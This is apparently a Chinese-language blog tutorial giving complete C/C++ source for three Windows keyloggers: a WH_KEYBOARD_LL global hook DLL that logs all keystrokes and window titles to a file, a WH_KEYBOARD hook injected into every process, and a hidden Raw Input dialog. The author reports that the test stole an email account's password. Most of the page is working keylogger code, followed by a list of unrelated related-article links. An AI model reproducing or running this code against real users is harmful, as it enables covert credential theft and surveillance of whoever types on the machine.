这里的实验环境全是64位。首先来看WH_KEYBOARD_LL。这种类型的钩子直接监控的是线程的消息队列, 属于全局范围内的钩子,一旦被安装会监控整个系统的键盘输入。其可以通过DLL方式加载也可以通过直接在自己进程内实现挂钩, 先给出钩子DLL:

#include <windows.h>HHOOK g_hHook = NULL;
HMODULE g_hMod = NULL;
char g_szTitle[MAX_PATH] = { 0 };BYTE GetASCII(BYTE bVKCode)
{// 判定小键盘0-9数字if (GetKeyState(VK_NUMLOCK)){if (bVKCode == '`'){bVKCode = '0';return((char)bVKCode);}else if (bVKCode >= 'a' && bVKCode <= 'i'){bVKCode = bVKCode - 'a' + 0x31;return((char)bVKCode);}}// 判定大小写if (!GetKeyState(VK_CAPITAL) && (bVKCode >= 0x41 && bVKCode <= 0x5A)){bVKCode |= 0x20;}return((char)bVKCode);
}BOOL SaveContent(const char *pcszContent)
{size_t nLen = 0;HANDLE hFile = INVALID_HANDLE_VALUE;char szBuf[MAX_PATH] = { 0 };DWORD dwWritten = 0;BOOL fOk = FALSE;if (NULL == pcszContent){return(FALSE);}GetCurrentDirectory(MAX_PATH, szBuf);strcat_s(szBuf, MAX_PATH, "\\log.txt");nLen = strlen(pcszContent);// 尝试打开文件hFile = CreateFile(szBuf,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if (INVALID_HANDLE_VALUE == hFile){// 无法打开尝试创建hFile = CreateFile(szBuf,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if (INVALID_HANDLE_VALUE == hFile){return(FALSE);}}SetFilePointer(hFile, 0, NULL, FILE_END);fOk = WriteFile(hFile, pcszContent, nLen, &dwWritten, NULL);if (!fOk || nLen > dwWritten){CloseHandle(hFile);hFile = NULL;return(FALSE);}CloseHandle(hFile);hFile = NULL;return(TRUE);
}BOOL GetPrefix(char *pszBuf, size_t nSize)
{HWND hWndForeground = NULL;char szCurWindowTitle[MAX_PATH] = { 0 };if (NULL == pszBuf){return(FALSE);}RtlZeroMemory(pszBuf, nSize);hWndForeground = GetForegroundWindow();if (NULL == hWndForeground){hWndForeground = GetDesktopWindow();}GetWindowText(hWndForeground, szCurWindowTitle, MAX_PATH);// 如果变了窗口if (_stricmp(szCurWindowTitle, g_szTitle)){RtlZeroMemory(g_szTitle, MAX_PATH);strcpy_s(g_szTitle, MAX_PATH, szCurWindowTitle);strcpy_s(pszBuf, nSize, "\r\n\r\n[");strcat_s(pszBuf, nSize, g_szTitle);strcat_s(pszBuf, nSize, "]:\r\n");return(TRUE);}return(FALSE);
}LRESULT CALLBACK LowLevelKeyboardProc(_In_ int    nCode,_In_ WPARAM wParam,_In_ LPARAM lParam)
{KBDLLHOOKSTRUCT stKbdHook = *(PKBDLLHOOKSTRUCT)lParam;DWORD dwVkCode = stKbdHook.vkCode;char szBuf[16] = { 0 };char szPrefix[MAX_PATH] = { 0 };if (nCode == HC_ACTION){if (WM_KEYDOWN == wParam || WM_SYSKEYDOWN == wParam){RtlZeroMemory(szBuf, 16);// 包含了[(0-9)(a-z)(A-Z)]if (dwVkCode >= 0x30 && dwVkCode <= 0x5A ||(dwVkCode >= 0x60 && dwVkCode <= 0x69) ||(dwVkCode >= 'a' && dwVkCode <= 'i') || dwVkCode == '`'){// 获取对应的ASCIIszBuf[0] = GetASCII(dwVkCode);}else{switch (dwVkCode){case VK_LSHIFT: // shift键case VK_RSHIFT:strcpy_s(szBuf, sizeof(szBuf), "[Shift]");break;case VK_LCONTROL: // ctrl键case VK_RCONTROL:strcpy_s(szBuf, sizeof(szBuf), "[Ctrl]");break;case VK_ESCAPE: // ESC键strcpy_s(szBuf, sizeof(szBuf), "[Esc]");break;case VK_SPACE: // 空格键strcpy_s(szBuf, sizeof(szBuf), " ");break;case VK_DELETE: // delete键strcpy_s(szBuf, sizeof(szBuf), "[Delete]");break;case VK_RETURN: // 回车键strcpy_s(szBuf, sizeof(szBuf), "\n");break;case VK_TAB: // tab键strcpy_s(szBuf, sizeof(szBuf), "\t");break;default:break;}}// 如果活动窗口发生了变换则添加新的当前窗口标题提示if (GetPrefix(szPrefix, MAX_PATH)){SaveContent(szPrefix);}// 将捕获的内容写入要保存的文件中SaveContent(szBuf);}}return(CallNextHookEx(g_hHook, nCode, wParam, lParam));
}extern "C" __declspec(dllexport) BOOL SetKbdHook()
{BOOL fOk = FALSE;LRESULT lResult = 0;g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, g_hMod, 0);if (NULL == g_hHook){return(FALSE);}return(TRUE);
}extern "C" __declspec(dllexport) VOID UnhookKbdHook()
{if (NULL != g_hHook){UnhookWindowsHookEx(g_hHook);g_hHook = NULL;}
}BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{g_hMod = hModule;break;}case DLL_PROCESS_DETACH:{break;}default:{break;}}return(TRUE);
}

接下来给出测试函数:

#include <windows.h>
#include <iostream>
#include <cstdio>
#include <conio.h>
using namespace std;typedef VOID (*pfnUnhookKbdHook)();
typedef BOOL (*pfnSetKbdHook)();int main()
{HMODULE hMod = NULL;MSG msg;pfnUnhookKbdHook pfnUnhook = NULL;pfnSetKbdHook pfnHook = NULL;hMod = LoadLibrary("KbdLLHook.dll");if (NULL == hMod){return(-1);}pfnHook = (pfnSetKbdHook)GetProcAddress(hMod, "SetKbdHook");if (NULL == pfnHook){return(-1);}pfnHook();// 消息循环是必须的while (GetMessage(&msg, NULL, 0, 0) != 0){TranslateMessage(&msg);DispatchMessage(&msg);}pfnUnhook = (pfnUnhookKbdHook)GetProcAddress(hMod, "UnhookKbdHook");if (NULL == pfnUnhook){return(-1);}pfnUnhook();system("pause");return(0);
}

测试结果, 这里就窃取了邮箱的密码账号

我们接着来看一下WH_KEYBOARD类型的钩子, 这种钩子也是全局钩子性质。这种方式的钩子会把DLL注入到对应所有有权限的进程内。由于是截获对应进程键盘消息,所以这种注入行为只有在该进程作为活动窗口有键盘键入时才会发生, 比如当前我的这个钩子:

但是有一个缺点就是,有一些进程对这种钩子容易导致卡死。还有就是钩子函数内不能放入太多代码,容易造成卡顿。最后,该挂钩生成的钩子句柄要放入全局共享数据段内,因为每个进程空间之间都是隔离的, 如果不这么做那其他进程被注入时无法获取这个钩子句柄。查看DLL代码如下:

#include <windows.h>#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()#pragma comment(linker, "/SECTION:mydata,RWS")HMODULE g_hMod = NULL;
char g_szTitle[MAX_PATH] = { 0 };LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam
)
{HWND hWnd = NULL;char szBuf[MAX_PATH] = { 0 };if (!(lParam & 0x80000000) && (HC_ACTION == code)){hWnd = GetForegroundWindow();if (hWnd != NULL){GetWindowText(hWnd, szBuf, MAX_PATH);MessageBox(NULL, szBuf, "标题", MB_OK);}}return(CallNextHookEx(g_hHook, code, wParam, lParam));
}extern "C" __declspec(dllexport) BOOL SetKbdHook()
{BOOL fOk = FALSE;LRESULT lResult = 0;g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hMod, 0);if (NULL == g_hHook){return(FALSE);}return(TRUE);
}extern "C" __declspec(dllexport) VOID UnhookKbdHook()
{if (NULL != g_hHook){UnhookWindowsHookEx(g_hHook);g_hHook = NULL;}
}BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{g_hMod = hModule;break;}case DLL_PROCESS_DETACH:{break;}default:{break;}}return(TRUE);
}

最后一种键盘记录的方式是利用原始输入模型, 这种方式的缺点是必须要用对话框,虽然可以调用ShowWindow来隐藏,但是还是会一闪而过, 如果说是某种图形界面的程序运行这个应该没有问题。

#include <windows.h>
#include "resource.h"
using namespace std;BOOL Init(HWND hWnd)
{RAWINPUTDEVICE rawinputDevice = { 0 };rawinputDevice.usUsagePage = 0x01;rawinputDevice.usUsage = 0x06;rawinputDevice.dwFlags = RIDEV_INPUTSINK;rawinputDevice.hwndTarget = hWnd;BOOL fRet = FALSE;fRet = RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));if (FALSE == fRet){return(FALSE);}return(TRUE);
}VOID ShowKey(USHORT usVKey)
{char szKey[MAX_PATH] = { 0 };char szTitle[MAX_PATH] = { 0 };char szText[MAX_PATH] = { 0 };HWND hForegroundWnd = GetForegroundWindow();GetWindowText(hForegroundWnd, szTitle, 256);wsprintf(szKey, "0x%X", usVKey);wsprintf(szText, "%s: %s\r\n", szTitle, szKey);MessageBox(NULL, szText, "提示", MB_OK | MB_ICONERROR);
}BOOL GetData(LPARAM lParam)
{RAWINPUT rawinputData = { 0 };UINT uiSize = sizeof(RAWINPUT);GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));if (RIM_TYPEKEYBOARD == rawinputData.header.dwType){if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)){ShowKey(rawinputData.data.keyboard.VKey);}}return(TRUE);
}INT_PTR Dlgproc(HWND hWnd,UINT code,WPARAM wParam,LPARAM lParam
)
{ShowWindow(hWnd, SW_HIDE);switch (code){case WM_INITDIALOG:Init(hWnd);break;case WM_INPUT:GetData(lParam);break;case WM_CLOSE:EndDialog(hWnd, 0);}return(FALSE);
}int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR     lpCmdLine,int       nShowCmd)
{DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_KBGWIN), NULL, Dlgproc, NULL);ExitProcess(1);return(0);
}

(完)

几种常用的键盘钩子技术相关推荐

  1. 【技术总结】几种常用的无线串行通信技术

    2019独角兽企业重金招聘Python工程师标准>>> 与传统的有线串行(RS232)通信不同,无线串行通信具有设备移动方便(特别在通信设备空间相互隔离不便连线的情况下).通信距离远 ...

  2. 内存池——第一章 几种常用的内存池技术

    几乎所有应用程序中都会有内存的分配和释放,而频繁的分配和释放内存无疑会产生内存碎片,降低系统性能,尤其对性能要求较高的程序比较明显.下面介绍几种常见的内存池技术.     一  环形缓存     环形 ...

  3. html5网格坐标系,HTML5 四种常用网格(Grid)布局技术

    HTML 导入代码模板: 四种常用网格(Grid)布局技术 Floating Grid (Classic) This grid uses "floats" to create it ...

  4. 要如何禁止键盘钩子?

    要如何禁止键盘钩子? Delphi / Windows SDK/API http://www.delphi2007.net/DelphiAPI/html/delphi_2006112612072216 ...

  5. 利用底层键盘钩子屏蔽任意按键

    很多人都知道,如果想在系统范围内屏蔽键盘上的任意按键需要使用全局键盘钩子,然而像win键这样"倔强"的按键又不是普通的键盘钩子就能搞定的.这里我提供一种利用底层键盘钩子屏蔽任意按键 ...

  6. dxf转g代码_恶意代码分析系列几种常用技术(2)

    介绍 在很多时候为了能够对目标进程空间数据进行修改,或者使用目标进程的名称来执行自己的代码,实现危害用户的操作,通常是将一个 DLL文件或者 ShellCode注入到目标进程中去执行.这里分享四种常用 ...

  7. 10个常用的代码简写技术,看懂一种是入门,全部看懂是大神!

    前言: 人工智能时代,python编程语言站在风口起飞,2018年7月的世界编程语言排行榜跃居于编程语言前三,2018年的IEEE顶级编程语言交互排行榜中Python屠榜,彻底火了python,也相继 ...

  8. 看门狗(Watch Dog)是嵌入式系统中一种常用的保证系统可靠性的技术,()会产生看门狗中断。【详细!小白也能看懂!】

    看门狗(Watch Dog)是嵌入式系统中一种常用的保证系统可靠性的技术,()会产生看门狗中断. A. 软件喂狗 B. 处理器温度过高 C. 外部中断 D. 看门狗定时器超时 解析: 思考方式: 每个 ...

  9. 7 种常用的数据挖掘技术分享

    有人说:一个人从1岁活到80岁很平凡,但如果从80岁倒着活,那么一半以上的人都可能不凡. 生活没有捷径,我们踩过的坑都成为了生活的经验,这些经验越早知道,你要走的弯路就会越少. 摘要: 随着信息领域的 ...

  10. 计算机网络 王道考研2021 第三章:数据链路层 -- 局域网基本概念和体系结构、以太网(一种常用的局域网技术)、无线局域网、跨省短信通知原因、MAC

    文章目录 1. 局域网基本概念和体系结构 1.1 局域网 1.2 局域网拓扑结构 1.3 局域网传输介质 1.4 局域网介质访问控制方法 1.5 局域网的分类 1.6 IEEE802标准 1.7 MA ...

最新文章

  1. Redis 基数统计:HyperLogLog 小内存大用处
  2. java 文件inputstream_java – 如何在InputStream中接收多个文件并相应地处理它?
  3. 单例模式之懒汉式(三种代码实现)
  4. Mysql数据库规范(阿里巴巴嵩山版java开发手册)
  5. solidworks电气元件3d库_丨部件库丨西门子3RV6电机保护开关
  6. JDBC连接hive(错误小结)
  7. ziheng -接小球游戏
  8. 2010年度《影评达人》活动火…
  9. poj-2115 C Looooops 扩展欧几里德算法求最小非负整数解
  10. 冒泡排序 python内置_除了冒泡排序,你知道Python内建的排序算法吗?
  11. c语言洗牌发牌 无大小王 分四堆,C语言入门题
  12. 新款车型防盗器的安装方法
  13. 后乔布斯时代:三星微软谷歌3大劲敌环伺苹果
  14. 京东最爱考的前端面试题,html5移动web开发实战
  15. Nginx搭文件服务器,使用nginx搭建文件服务器
  16. 墨竹:黄金缺口将迎回补?空头环境不曾改变!
  17. SVM:通俗易懂的SMO算法
  18. 初创产品如何衡量其各阶段表现?
  19. 笔记本电脑OBS显示器捕获黑屏问题
  20. 【pandas】空行相关操作及判断两列是否相同

热门文章

  1. 小米路由pro php,小米路由器开启frp
  2. 微软WIN10应用商店无法下载应用
  3. 非常好的理解遗传算法的例子
  4. python 下载公众号文章_python如何导出微信公众号文章方法详解
  5. 7.2.5 dps 测试软件,dps排行榜网站_7.1.5dps排行榜分享DPS模拟常见上榜翻译2
  6. 【1】Matlab深度学习环境配置-入门
  7. mac 安装 brew 镜像
  8. Wordnet 与 Hownet 比较
  9. Gdiplus::Bitmap转HBITMAP与HBITMAP转Gdiplus::Bitmap
  10. APP社交类源代码分享直接上车